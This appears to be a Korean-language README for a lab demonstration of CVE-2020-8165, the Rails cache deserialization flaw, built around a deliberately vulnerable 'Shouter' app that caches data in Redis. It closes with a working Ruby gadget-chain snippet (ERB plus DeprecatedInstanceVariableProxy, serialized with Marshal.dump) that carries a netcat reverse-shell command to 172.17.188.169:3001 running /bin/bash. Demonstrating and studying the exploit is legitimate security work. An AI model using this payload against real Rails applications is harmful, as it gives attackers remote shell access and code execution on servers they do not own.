
CVE-2020-8165 Rails 역직렬화 RCE 익스플로잇 시연 - 실제 Shouter 앱, Ruby 기반 페이로드 생성 및 Redis 캐시 중독
대부분보다 더 현실적인 구현의 CVE-2020-8165 데모입니다.
CVE-2020-8165
Rails < 5.2.4.3, rails < 6.0.3.1에 신뢰할 수 없는 데이터 역직렬화 취약점이 존재하여, 공격자가 MemCacheStore 및 RedisCacheStore에서 사용자 제공 객체를 역마샬(unmarshal)하여 잠재적으로 RCE를 발생시킬 수 있습니다.
'Shouter' 앱의 Shout 모델에는 캐싱 기능이 있으며, shout:string과 함께 제출된 선택적 이미지가 redis에 캐시되어 DB가 아닌 캐시에서 검색됩니다. 취약한 Rails.cache.fetch 메서드가 캐시와 상호 작용하는 데 사용되므로, 이 앱은 CVE-2020-8165에 취약하며, RCE의 결과는 대시보드 라우트의 img 태그 src에 배치됩니다.
다음 스니펫은 exploit.py를 사용하여 보내야 하는 페이로드를 생성합니다. Python에서 익스플로잇을 완전히 구현하려면 직렬화 단계에 대한 약간의 미묘함을 파악해야 합니다. 따라서 (현재로서는) 정확한 페이로드를 생성하려면 Ruby의 Marshal.dump가 필요합니다.
cmd = "Thread.new{system('nc 172.17.188.169 3001 -e /bin/bash')}"
erb = ERB.allocate
erb.instance_variable_set(:@src, cmd)
erb.instance_variable_set(:@lineno, 0)
payload_raw = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result)
payload = Marshal.dump(payload_raw)
p payload